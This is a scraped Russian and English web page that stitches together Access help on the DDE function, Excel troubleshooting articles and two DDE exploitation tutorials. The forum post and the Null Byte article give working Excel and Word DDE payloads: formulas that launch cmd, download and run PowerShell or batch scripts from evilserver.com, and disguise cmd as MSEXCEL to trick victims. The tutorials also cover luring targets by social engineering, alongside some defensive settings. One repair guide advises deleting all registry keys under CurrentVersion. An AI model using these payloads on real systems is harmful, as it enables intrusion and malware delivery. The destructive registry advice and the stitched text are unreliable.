Dde запросы excel что это такое

Access для Microsoft 365 Access 2021 Access 2019 Access 2016 Access 2013 Access 2010 Access 2007 Еще…Меньше

С помощью функции DDE можно начать сеанс DDE с другим приложением, запросить из него информацию и вывести ее в элементе управления в форме или отчете.

Например, функцию DDE можно использовать в свойстве Данные текстового поля для отображения данных из указанной ячейки листа Microsoft Office Excel 2007.

Синтаксис

DDE(

приложение, документ, раздел

)

Функция DDE имеет следующие аргументы:

Ар
гумент

Описание


приложение

Это строковое выражение, определяющие приложение, которое может участвовать в беседе DDE. Обычно приложение это имя EXE-файла (без расширения EXE) для приложения Microsoft Windows, например Excel. Например, чтобы начать сеанс DDE с Excel, введите «Excel» в качестве аргумента приложения.


документ

Строковая выражение, которое является именем тема распознается приложением. Аргумент документ часто является документом или файлом данных. Список допустимых документов см. в документации приложения.


раздел

Строковая выражение, которое является именем элемент данных распознается приложением. Список возможных элементов можно посмотреть в документации другого приложения.

Замечания

Функция DDE пытается запустить сеанс DDE с указанным приложением и документом и запрашивает данные в разделе. Если ей это удается, функция DDE возвращает строку, содержащую запрашиваемые данные.

При запросе данных из Excel разделом может быть идентификатор строки и столбца, например ««R1C1»«, или имя диапазона ячеек. В следующем примере функция DDE запрашивает данные ячейки в строке 1 и столбце 1 листа Excel. Это выражение можно ввести в поле Данные текстового поля на странице свойств элемента управления:

=DDE(«Excel», «Sheet1», «R1C1»)

Функцию DDE можно использовать только в свойстве Данные текстового поля, группы переключателей, флажка или поля со списком. Нельзя вызывать функцию DDE из модуля Visual Basic для приложений (VBA).

При использовании функции DDE он становится доступной только для чтения в представление формы режиме предварительного просмотра. Например, при использовании функции DDE в текстовом поле изменить текст в этом поле будет нельзя. Необходимо изменить текст в другом приложении. Так как свойство ControlSource в режиме формы и предварительного просмотра является только для чтения, изменения в Конструктор.

Максимальное количество сеансов DDE, которые можно открыть одновременно, определяется памятью и ресурсами компьютера и Microsoft Windows. Если не удается начать сеанс, так как другое приложение не запущено или не распознает указанный документ либо уже достигнуто максимальное количество сеансов, функция DDE возвращает NULL.

Примечание: Другое приложение может быть настроено таким образом, что будет игнорировать запросы на сеанс DDE. В этом случае функция DDE возвращает значение NULL. Кроме того, можно настроить Access таким образом, чтобы он игнорировал запросы от других приложений: в меню Файл выберите команду Параметры Access, в диалоговом окне Параметры приложения выберите пункт Дополнительно. В группе Операции DDE установите флажок Пропуск команд DDE.

Совет

Для управления объектами других приложений из Access можно воспользоваться автоматизацией.

В следующей таблице показано, как работает функция DDE при использовании с каждым из элементов управления.

Эле
мент управления

Замечания

Текстовое поле

Аргумент раздел может ссылаться на текст или числа. Если раздел ссылается более чем на одну единицу данных, например на именованный диапазон листа Excel, который содержит несколько ячеек, функция DDE возвращает первую запись. Эту функцию можно использовать с текстовым полем, чтобы отображать данные, содержащиеся в ячейке листа.

Поле со списком

Функция DDE заполняет поле со списком данными, на которые ссылается аргумент раздел. Вводить данные в текстовую часть поля нельзя. Функцию DDE можно использовать с полем со списком, чтобы отобразить список стран и регионов, хранящийся в листе Excel.

Группа переключателей

Для свойства OptionValue каждого переключателя в группе задан номер. Как правило, номер первого переключателя — 1, второго — 2 и т. д. Возвращаемое функцией DDE число определяет, какой переключатель будет выбран.

Например, если функция DDE возвращает 2, будет выбран второй переключатель. Если функция возвращает значение, не соответствующее ни одному из возможных значений свойства OptionValue, переключатель выбран не будет. Если раздел ссылается более чем на одну единицу данных, например на именованный диапазон листа Excel, который содержит несколько ячеек, функция DDE возвращает первую запись.

Флажок

Если функция DDE возвращает 0, флажок будет снят. Если она возвращает значение, отличное от нуля, например 1 или -1, флажок будет установлен. Если раздел ссылается на текст или более чем на одну единицу данных, например именованный диапазон на листе Excel, который содержит несколько ячеек, флажок будет недоступен.

Нужна дополнительная помощь?

Всем привет! Решил немного написать о реализации DDE в MS Excel.

В этой теме был был предложен вариант для MS Word, он и стал отправной точкой для изучения схожей уязвимости MS Excel.
DDE — Dynamic Data Exchange. Полный список команд DDE вы можете найти

Ссылка скрыта от гостей

По аналогии с Word мы используем DDE функцию для вызова cmd. В MS Excel это довольно просто:
Вставляем в любую ячейку вызов функции cmd и задаем ей параметр. А1 — номер ячейки.

=cmd|’/c calc.exe’!A1

Параметр /c может быть изменен на /k *
Примечание: CMD /C запускает команду и выполняет ее, а CMD /K выполняет команду и возвращает нас в командную строку, позволяя выполнять следующие команды, так же полезно для тестирования переменных.

Первая часть пейлоада =cmd|’ дает инструкцию MS Excel вызвать CMD, а вторая передает команду CMD.
В нашем примере при запуске MS Excel юзер получит уведомление о том что ссылки нужно обновить.(что в целом безобидно)

dde test exel 01 warn.JPG

Во втором сообщение мы видим предупреждение о запуске cmd — что есть палево.

dde test exel 02 warn.JPG

Калькулятор запустился

dde test exel 03.JPG

Посколько у CMD есть ограничение на длинну аргумента в 1024 байта, 1024 это максимальная строка для функции CreateProcess(), то мы можем обойти это с помощью инструкций Powershell, например на удаленную загрузку нашего скрипта и исполнение его прямо из DDE.

Для этого сначала подготовим нагрузку в виде скрипта ps1 и положим на наш злой сервер.
Далее в указываем занчение ячейки:
=-2+3+cmd|’/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(»

Ссылка скрыта от гостей

«);IEX $e’!_xlbgnm.A1

С помощью функции DownloadString наш Powershell парсит строку по адресу

Ссылка скрыта от гостей

, и обрабатывает скрипт! Обратите внимание , эта функция работает только на Powershell версии 3 и выше.
Результат:

dde test exel 041.JPG

Так же мы можем запустить batch файл, например пейлоад сгенерированный powershell empire

=cmd|’/c \evilserver.comempire.bat;IEX $e’!A1

PS: Статья не закончена. В планах что-то придумать для скрытия предупреждения о запуске cmd.
Ну и было бы неплохо, если бы кто-то помог с шифрованием строки в base64. Я что-то с синтаксисом напутал, упорно не хочет считывать.
PPS: Всегда рад конструктивным замечаниям.
[doublepost=1508916320,1508489034][/doublepost]UPDATE:
Патч частично защищает от уязвимости.

Ссылка скрыта от гостей

Но лично у меня все работало и после установки апдейта. Для защиты лучше настроить все руками, дабы нерадивые пользователи не тыкали «ок» -> «ок» -> «далее» бездумно, ну и провести работу воспитательную.
Для админов рекомендую следующее:
Для MS Word
Параметры Word — Дополнительно — (раздел Общие) — Автоматически обновлять связи при открытии (снять галочку)

dde aouto off.JPG

После этого DDE не будет обработан.

Для Excel хуже.
Первый способ мягкий:

dde auto off excel.JPG

Параметры Excel — Дополнительно — (раздел Общие)
— Запрашивать об обновлении автоматических связей (поставить галочку)
— Игнорировать DDE запросы от других приложений (поставить галочку)

dde auto off excel.JPG

Результат- будет хотя бы уведомление

dde excel after fix.JPG

Метод решения радикальный, т.к. напрочь отключает DDE и возможно не всем подойдет:
Параметры Excel — Центр управления безопасностью — кнопка «Параметры центра безопасности» — Внешнее содержимое —
— Отключить все подключения к данным
— Отключить автоматическое обновление связей в книге

Результат — все дде блочатся напрочь

dde auto off excel3.JPG

ПС:
Еще это можно сделать через реестр

Код:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0WordOptions]
"DontUpdateLinks"=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0ExcelOptions]
"DontUpdateLinks"=dword:00000001
"DDEAllowed"=dword:00000000
"DDECleaned"=dword:00000001

Тут те же настройки кроме последнего решения для Excel
[doublepost=1509618109][/doublepost]UPDATE2:
Немного по скрытию запуска строки:

EXCEL

Код:

=MSEXCEL|'......WindowsSystem32cmd.exe /c \evilserver.comsp.bat;IEX $e'!''

Word

Код:

  { DDEAUTO "C:\Programs\Microsoft\Office\MSWord\..\..\..\..\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://server.com/evilscript.ps1'); # " "Microsoft Document Security Add-On" }

Тогда окно станет более безобидным:

Phish.JPG

Содержание

  • Причины возникновения ошибки
  • Решение проблемы
    • Способ 1: отключение игнорирования DDE
    • Способ 2: отключение режима совместимости
    • Способ 3: Очистка реестра
    • Способ 4: отключение аппаратного ускорения
    • Способ 5: отключение надстроек
    • Способ 6: сброс сопоставлений файлов
    • Способ 7: загрузка обновлений Windows и переустановка пакета Microsoft Office
  • Вопросы и ответы

Ошибка в Microsoft Excel

Несмотря на то, что, в целом, программа Microsoft Excel отличается довольно высоким уровнем стабильности работы, с этим приложением тоже иногда случаются проблемы. Одной из таких проблем является появление сообщения «Ошибка при направлении команды приложению». Оно возникает при попытке сохранить или открыть файл, а так же провести с ним некоторые другие действия. Давайте разберемся, чем вызвана данная проблема, и как её можно устранить.

Причины возникновения ошибки

Какие же основные причины вызывают данную ошибку? Можно выделить следующие:

  • Повреждение надстройки;
  • Попытка получить доступ к данным активного приложения;
  • Ошибки в системном реестре;
  • Повреждение программы Excel.

Решение проблемы

Пути устранения данной ошибки зависят от её причины. Но, так как в большинстве случаев, установить причину труднее, чем её ликвидировать, то более рациональным решением является методом проб попытаться найти верный способ действий из тех вариантов, которые представлены ниже.

Способ 1: отключение игнорирования DDE

Чаще всего, устранить ошибку при направлении команды удается путем отключения игнорирования DDE.

  1. Переходим во вкладку «Файл».
  2. Переход во вкладку Файл в Microsoft Excel

  3. Кликаем по пункту «Параметры».
  4. Переход в Параметры в Microsoft Excel

  5. В открывшемся окне параметров, переходим в подраздел «Дополнительно».
  6. Переход в раздел Дополнительно в Microsoft Excel

  7. Ищем блок настроек «Общие». Снимаем галочку около параметра «Игнорировать DDE-запросы от других приложений». Жмем на кнопку «OK».

Отключение игнорирования DDE в Microsoft Excel

После этого, в значительном числе случаев, проблема устраняется.

Способ 2: отключение режима совместимости

Ещё одной вероятной причиной, описанной выше проблемы, может быть включенный режим совместимости. Для того, чтобы отключить его, нужно последовательно проделать указанные ниже шаги.

  1. Переходим, с помощью проводника Windows, или любого файлового менеджера, в каталог размещения пакета программ Microsoft Office на компьютере. Путь к нему выглядит следующим образом: C:Program FilesMicrosoft OfficeOFFICE№. № — это номер офисного пакета. Например, папка, где хранятся программы Microsoft Office 2007, будет называться OFFICE12, Microsoft Office 2010 — OFFICE14, Microsoft Office 2013 — OFFICE15, и т.д.
  2. Путь к файлу Excel

  3. В папке OFFICE ищем файл Excel.exe. Кликаем по нему правой кнопкой мыши, и в появившемся контекстном меню выбираем пункт «Свойства».
  4. Переход в свойства в Microsoft Excel

  5. В открывшемся окне свойств Excel, переходим во вкладку «Совместимость».
  6. Переход во вкладку Совместимость в Microsoft Excel

  7. Если стоят флажки напротив пункта «Запустить программу в режиме совместимости», или «Выполнять эту программу от имени администратора», то снимаем их. Жмем на кнопку «OK».

Отключение запуска программы в режиме совместимости в Microsoft Excel

Lumpics.ru

Если галочки в соответствующих пунктах не установлены, то продолжаем искать источник проблемы в другом месте.

Способ 3: Очистка реестра

Одной из причин, которая может вызвать ошибку при направлении команды приложению в Excel, являются неполадки в реестре. Поэтому, нам его необходимо будет почистить. Перед тем, как приступать к дальнейшим действиям, для того чтобы подстраховать себя от возможных нежелательных последствий данной процедуры, настойчиво рекомендуем создать точку восстановления системы.

  1. Для того, чтобы вызвать окно «Выполнить», на клавиатуре вводим комбинацию клавиш Win+R. В открывшееся окно, вводим команду «RegEdit» без кавычек. Жмем на кнопку «OK».
  2. Переход в редактор реестра через окно Выполнить

  3. Открывается Редактор реестра. В левой части редактора расположено древо каталогов. Перемещаемся в каталог «CurrentVersion» по следующему пути: HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion.
  4. Редактор реестра Windows

  5. Удаляем все папки, расположенные в директории «CurrentVersion». Для этого, кликаем по каждой папке правой кнопкой мыши, и в контекстном меню выбираем пункт «Удалить».
  6. Чистка реестра Windows

  7. После того, как удаление выполнено, перезагружаем компьютер и проверяем работоспособность программы Excel.

Способ 4: отключение аппаратного ускорения

Временным решением проблемы может стать отключение аппаратного ускорения в Excel.

  1. Переходим в уже знакомый нам по первому способу решения проблемы раздел «Параметры» во вкладке «Файл». Опять кликаем по пункту «Дополнительно».
  2. В открывшемся окне дополнительных параметров Excel, ищем блок настроек «Экран». Устанавливаем галочку около параметра «Отключить аппаратное ускорение обработки изображений». Кликаем по кнопке «OK».

Отключение аппаратного ускоренрия в Microsoft Excel

Способ 5: отключение надстроек

Как уже говорилось выше, одной из причин данной проблемы может быть неисправность какой-то надстройки. Поэтому, как временную меру, можно использовать отключение надстроек Excel.

  1. Опять переходим, находясь во вкладке «Файл», в раздел «Параметры», но на этот раз кликаем по пункту «Надстройки».
  2. Переход в надстройки в Microsoft Excel

  3. В самой нижней части окна, в выпадающем списке «Управление», выбираем пункт «Надстройки COM». Жмем на кнопку «Перейти».
  4. Переход в надстройки COM в Microsoft Excel

  5. Снимаем галочки со всех надстроек, которые указаны в списке. Жмем на кнопку «OK».
  6. Надстройки COM в Microsoft Excel

  7. Если после этого, проблема исчезла, то опять возвращаемся в окно надстроек COM. Устанавливаем галочку, и жмем на кнопку «OK». Проверяем, не вернулась ли проблема. Если все в порядке, то переходим к следующей надстройке, и т.д. Ту надстройку, на которой ошибка вернулась, отключаем, и больше не включаем. Все остальные надстройки можно включить.

Включение надстройки в Microsoft Excel

Если же после выключения всех надстроек проблема осталась, то это означает, что надстройки можно включить, а ошибку следует устранить другим способом.

Способ 6: сброс сопоставлений файлов

Для решения проблемы можно также попытаться сбросить сопоставления файлов.

  1. Через кнопку «Пуск» переходим в «Панель управления».
  2. Переход в Панель управления

  3. В Панели управления выбираем раздел «Программы».
  4. Переход в раздел Программы в Панели управления

  5. В открывшемся окне, переходим в подраздел «Программы по умолчанию».
  6. Переход в раздел Программы по умолчанию в Панели управления

  7. В окне настроек программ по умолчанию выбираем пункт «Сопоставление типов файлов и протоколов конкретных программ».
  8. Переход в раздел Сопоставления типа файлов в Панели управления

  9. В списке файлов выбираем расширение xlsx. Жмем на кнопку «Изменить программу».
  10. Переход к изменению программы

  11. В открывшемся списке рекомендуемых программ, выбираем Microsoft Excel. Делаем клик по кнопке «OK».
  12. Выбор программы

  13. В случае, если программы Excel нет в списке рекомендуемых программ, жмем на кнопку «Обзор…». Переходим по тому пути, о котором мы говорили, обсуждая способ решения проблемы отключением совместимости, и выбираем файл excel.exe.
  14. Переход к поиску программы

  15. Аналогичные действия проделываем и для расширения xls.

Способ 7: загрузка обновлений Windows и переустановка пакета Microsoft Office

Не в последнюю очередь виной появления данной ошибки в Excel может быть отсутствие важных обновлений Windows. Нужно проверить, все ли доступные обновления загружены, и в случае необходимости закачать недостающие.

  1. Опять открываем Панель управления. Переходим в раздел «Система и безопасность».
  2. Переход в систему и безопасность панели управления

  3. Кликаем по пункту «Центр обновления Windows».
  4. Переход в центр обновления Windows

  5. В случае, если в открывшемся окне присутствует сообщение о наличии обновлений, жмем на кнопку «Установить обновления».
  6. Переход к установке обновлений Windows

  7. Ждем, пока обновления будут установлены, и перезагружаем компьютер.

Если ни один из перечисленных методов не помог решить проблему, то возможно есть смысл задуматься о переустановке пакета программ Microsoft Office, а то и о переустановке операционной системы Windows в целом.

Как видим, довольно много возможных вариантов по устранению ошибки при направлении команды в программе Excel. Но, как правило, в каждом конкретном случае существует только одно верное решение. Поэтому, для того, чтобы ликвидировать эту проблему, придется методом проб использовать различные способы устранения ошибки, пока не будет найден единственно верный вариант.

На чтение 4 мин Просмотров 3.9к. Опубликовано 03.05.2022

У меня несколько раз были такие ситуации, когда сроки горят, нужно срочно-срочно сдать отчёт, а программа отказывается работать!

Если вы работаете в Excel очень много — когда-нибудь обязательно столкнетесь с этим.

В данной статье мы рассмотрим причины и методы заставить Excel работать.

Итак, начнём!

Содержание

  1. Причины
  2. Что же делать?
  3. Отключаем DDE-запросы
  4. Отключаем дополнительные пакеты
  5. Восстанавливаем Excel
  6. Проверяем приложения по-умолчанию
  7. Отключаем аппаратное ускорение обработки изображения
  8. Ничего не помогло, что делать?

Причины

Excel довольно большая и сложная программа, причин может быть много. Но давайте остановимся на основных.

Основные причины:

  1. Проблемы с настройками Excel;
  2. Программа сломалась после аварийного отключения;
  3. Конкурирующие приложения мешают работе программы;
  4. Проблемы с приложением по-умолчанию для открытия таблиц;
  5. Файл таблицы, которую вы открываете, поврежден.

Что же делать?

Итак, причины рассмотрели. Теперь давайте узнаем, что делать в каждом случае.

Эта статья написана по порядку самых эффективных способов. То есть, если вы столкнулись с проблемой, выполняйте все шаги по порядку.

Отключаем DDE-запросы

Это самая частая причина поломок в программе.

 Что такое DDE-запросы? Это запросы от других приложений.

Изначально, эти запросы выключены. Если они у вас включены — они могут являться причиной многих ошибок.

Пошаговая инструкция исправления:

  • Щелкните «Файл»;

  • «Параметры»;

  • Далее — «Дополнительно»;

  • Найдите группу «Общие»;
  • И включите параметр, указанный на картинке;

  • Подтвердите.

Если параметр был включен, значит здесь проблемы нет. Читайте далее.

Отключаем дополнительные пакеты

Большое количество пользователей, для тех или иных целей используют дополнительные пакеты.

Часто бывает, что из-за них Excel может не открываться.

Пошаговая инструкция по исправлению:

  • Щелкните «Файл» -> «Параметры» -> «Надстройки»;

  • Найдите такой параметр:

  • Щелкните «Надстройки COM»;

  • Нажмите «Перейти…» и отключите все дополнительные пакеты;

  • Подтвердите.

Готово!

Это, наверное, самая частая причина. Если файл открылся, но дополнительные пакеты нужны вам при работе, включайте их по одному, чтобы понять какой именно вызывает ошибки.

Восстанавливаем Excel

Если, например, у вас выключился свет и после этого не открывается Excel, то повреждена сама программа, нужно восстановить её.

Как это сделать:

  • Нажмите комбинацию клавиш Win + R (или откройте функцию «Выполнить»);

  • Введите «appwiz.cpl»;

  • Щелкните правой кнопкой на Office и нажмите «Изменить»;

  • Выберите «Быстрое восстановление» и подтвердите.

Итак, Excel начал восстановление. Это что-то по типу отката к заводским настройкам.

Если дело было в программе, то с помощью этого метода вы решите свою проблему.

Проверяем приложения по-умолчанию

Приложения по-умолчанию, это такая опция в Windows, которая позволяет выбрать стандартное приложение для открытия, например, таблиц.

Бывает такое, что эта опция, на открытие таблиц, у вас сбита и там указана совсем другая программа.

Как это исправить?

Пошаговая инструкция:

  • Откройте «Панель управления»;
  • Щелкните «Программы»;

  • И нажмите «Программы по умолчанию»;

  • В открывшемся окне спуститесь в самый низ и щелкните «Сбросить».

Готово!

Если проблема была в этом — Excel откроется. Однако обратите внимание, что мы сбросили эту настройку абсолютно для всех типов файлов в Windows. Не только для табличек Excel.

Отключаем аппаратное ускорение обработки изображения

Эта опция помогает вашей видеокарте быстрей обрабатывать различные изображения и элементы интерфейса самых разных программ. В Excel эту опцию можно отключить.

Как это сделать?

Пошаговая инструкция:

  • Щелкните «Файл» -> «Параметры»
  • Далее — «Дополнительно» и найдите «Отключить аппаратное ускорение обработки изображения»;

  • Подтвердите.

Готово! Проверьте, открывается ли Excel теперь.

Ничего не помогло, что делать?

Все эти способы хороши, но что же делать если ничего не помогло?

Я бы попробовал переустановить программу, но если даже это вам не помогло — рекомендую обратиться в поддержку.

Это можно сделать по этой ссылке:

https://support.microsoft.com/contactus/

А еще, вы можете поделиться проблемой на разных форумах по Excel. Возможно кто-то из пользователей форума уже сталкивался с вашей проблемой.

Естественно, это далеко не все проблемы Excel, мы рассмотрели только самые распространенные.

Вот и все!

Чаще всего вам поможет первый или второй способ, рассмотренный в этой статье. Но если не помогло, попробуйте все остальные.

Надеюсь, эта статья оказалась полезна для вас!

In our previous article, we learned how to take advantage of a feature, Dynamic Data Exchange (DDE), to run malicious code when an MS Word document is opened. Because Microsoft built DDE into all of its Office products as a way to transfer data one time or continuously between applications, we can do the same thing in Excel to create a spreadsheet that runs malicious code when opened. The best part is, it will do so without requiring macros to be enabled.

Necurs Botnet Employs DDE Attack to Spread Ransomware

In the time since its discovery as an attack vector, many black hats have been successful in utilizing DDE. For example, the hackers behind the Necurs Botnet, one of the largest at 6 million, have been attempting to distribute Locky ransomware. They first use the botnet to send a surprisingly simple email.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by Brad Duncan/SANS ISC InfoSec Forums

This email contains an attached Word document which uses DDE to open PowerShell and execute their code. The method is illustrated below.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by Brad Duncan/SANS ISC InfoSec Forums

Hancitor Malware Uses a DDE Attack, Too

Hancitor malspam, which is also referred to as Chanitor or Tordal, is of particular note as it is an example of malware that changed tactics. It used to rely on macros, but since Oct. 16, 2017, it has begun to use DDE.

Below, we can see one of the best examples of social engineering that I’ve seen, which it uses to spread.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by Brad Duncan/SANS ISC InfoSec Forums

The likely reason for the change from macros to DDE is that the user will no longer get any explicit security warnings. That being said, you do still get prompts when using DDE, such as the one below.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by Brad Duncan/SANS ISC InfoSec Forums

Well, okay. I might not click through that. With the amount of work that was put into social engineering it the Word document, it’s interesting that the hackers behind Hancitor didn’t make any attempts to modify the prompt to be less conspicuous. Many people, such as Ryan Hanson on Twitter have shown how this can be done.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by ryHanson/Twitter

Many hackers have been focused on using DDE in Word. In the last article, we looked at using DDE in the fields of a Word document ourselves. However, DDE is also used in Excel, Quattro Pro, and Visual Basic. It’s surprisingly easy to employ in Excel, so let’s take a quick look at how it is done.

Step 1: Open Excel

Start by opening Excel, nothing fancy. Now we could leave it at that for this step, but for any practical real-world use, we need to spice it up with some social engineering. In order for this to work, we have two requirements. The target will need to click «Update» on the first popup and click «Yes» on the next.

This social-engineering attack takes advantage of the fact that the user can see the document when the popup appears. This lets us put something at the top of the document to make the document appear more legitimate to the user. We just reviewed two examples above that you can use for inspiration.

Step 2: Add a Formula

DDE allows us to perform command execution through Excel formulas. Excel uses it as an interprocess communication, which can be used to be call applications from within formulas and even process web requests to return live data to the workbook.

In simple terms, that lets us write a short formula to start a command prompt. Just add it to the formula field for any cell.

=cmd|’/k’!A1

Let’s look at what we just typed. The cmd is without an extension, but it tells Excel to open cmd.exe all the same. If you are interested, Microsoft has more DDE commands. The second part in single quotes is the arguments we are passing it.

Here I used /k for a persistent shell, however, you could also use /c for a one-off command. Unfortunately, the argument is limited to 1,024 bytes, the maximum cmd length for the CreateProcess() function.

Let’s take a quick look at it in action using calc.exe in place of whatever dubious code we may want to run.

=cmd|’/c calc.exe’!A1

After you enter it into a cell, save and close Excel spreadsheet, then reopen the document. You’ll be greeted with the first of two prompts. «Update» needs to be clicked for our code to run.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Then we get the second one. Notice how it says «Start application ‘CMD.EXE’?» That should be a red flag for anyone in the know, and will likely prevent them from clicking «Yes.» I’ll show you how we can change that in the next step.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Once «Yes» is clicked, we get magic code execution.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Step 3: Add Code

Now that we understand the basics, we can play around with it a bit. Remember how I said we can edit the «Start application» popup? It’s actually quite easy to do, as it’s just showing the first application we are attempting to run.

This allows us to obfuscate it by hiding cmd.exe behind another less conspicuous application, like Excel itself, but it will chew through some of our 1,024-byte limit. Try this in a cell formula:

=MSEXCEL|’……WindowsSystem32cmd.exe /c calc.exe’!»

Once you press enter, you should see the new popup. Notice how it says «Start application ‘MSEXCEL.EXE’?» It would be very easy to work that into any social engineering you do in the document.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

After you click «Yes,» you’ll see that it executes the code just as before.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Now, what if we wanted to run something more powerful than a calculator? Sensepost has been kind enough to provide an example of how to use it to open PowerShell and remotely load a script to execute. To do so, you would type the following formula.

=cmd|’/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(«http://evilserver.com/sp.base64»);powershell -e $e’!A1

But, in reality, that’s more complicated than we need. It’s easier to just point cmd /c directly at a .bat script hosted in a WebDAV directory. We’ll do that instead below.

=cmd|’/c \evilserver.comsp.bat;IEX $e’!A1

You likely notice that SensePost used =cmd, which we just learned how to obfuscate, so let’s combine the two to fix that real quick.

=MSEXCEL|’……WindowsSystem32cmd.exe /c \evilserver.comsp.bat;IEX $e’!»

Now we have an Excel formula that hides what application it is actually running, and then downloads and executes a .bat file from our remote server. It doesn’t take much imagination to see the mayhem we could cause with this.

Step 4: Save & Send

The last thing to do is save the document and send it off to the target. In the video below, you can see what this would look like on the receiving end if you were to download such a document using our obfuscation technique.

In the next video, you can see both sides of the attack. In this attack, the DDE formula is used to «pop a remote SYSTEM shell from an unprivileged user and remotely load and execute a modified MS16-032 PowerShell module to get reverse SYSTEM shell.» You can find more detail on the SensePost blog.

Step 5: Update Your Defense

Today. we’ve looked at a quick and simple way to execute code when an Excel document is opened. While this isn’t unique, what is special about this attack is that the word «security» is never mentioned, allowing a much greater chance for a social-engineering attack to succeed.

If you’re a Microsoft Office user, you should be careful of these and other warnings that may indicate another program is attempting to execute, or that a file is either requesting outside resources or needs unusual permissions to run. In all of these instances, your default reaction to a window like this popping up should be to deny permission.

You can take this a step further. If you don’t trust yourself to remember to say no to these popups, or just never want to see them, you can get rid of them by disabling automatic links. These settings don’t change across all Office programs, so you will need to open each and update the settings manually, but the process is the same for them all. Here’s how to do it in Word.

Open a Word or any other Office app you use and click on «File» in the top left. Then, when a blue bar appears along the left of the screen, click «Options,» which will be at the very bottom. The Word Options box will appear. Click on the «Advanced» tab, then scroll almost all the way down until you see General and uncheck «Update automatic links at open.»

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Once that is done, click «OK» to save the changes. This update to the settings will prevent DDE attacks from working, without impacting your everyday use of Word.

If you have multiple machines under management control, you can disable DDE execution via registry keys.

DDE Based Attacks in the Future

Clearly, there has been a spike in DDE use in the past few weeks. In spite of this, researchers like Brad Duncan don’t think it will continue like this for long.

I think attackers are using DDE because it’s different. We’ve been seeing the same macro-based attacks for years now, so perhaps criminals are trying something different just to see if it works any better. In my opinion, DDE is probably a little less effective than using macros. […] We might see more DDE-based attacks in the coming weeks, but I predict that will taper off in the next few months.

That being said, new DDE attack vectors are still being discovered every day. For example, Kevin Beaumont discovered it could be used in Outlook.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by GossiTheDog/Twitter

Then r0lan discovered not even your Microsoft contacts are safe from DDE.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by yeyint_mth/Twitter

There’s no telling what the next DDE attack vector will be, but you can be sure that I’ll write a how-to for it.

Thanks for reading! If you have any questions, you can ask here or on Twitter @The_Hoid.

  • Follow Null Byte on Twitter and Google+
  • Follow WonderHowTo on Facebook, Twitter, Pinterest, and Google+

Want to start making money as a white hat hacker? Jump-start your hacking career with our 2020 Premium Ethical Hacking Certification Training Bundle from the new Null Byte Shop and get over 60 hours of training from cybersecurity professionals.

Buy Now (90% off) >

Other worthwhile deals to check out:

  • 97% off The Ultimate 2021 White Hat Hacker Certification Bundle
  • 99% off The 2021 All-in-One Data Scientist Mega Bundle
  • 98% off The 2021 Premium Learn To Code Certification Bundle
  • 62% off MindMaster Mind Mapping Software: Perpetual License
Cover image via Sense Post/YouTube; Screenshots by Hoid/Null Byte (unless otherwise noted)

Like this post? Please share to your friends:
  • Dde запросы excel отключить
  • Dde in excel 2003
  • Dd mm yyyy in excel vba
  • Dcs word 2 5
  • Dcount excel на русском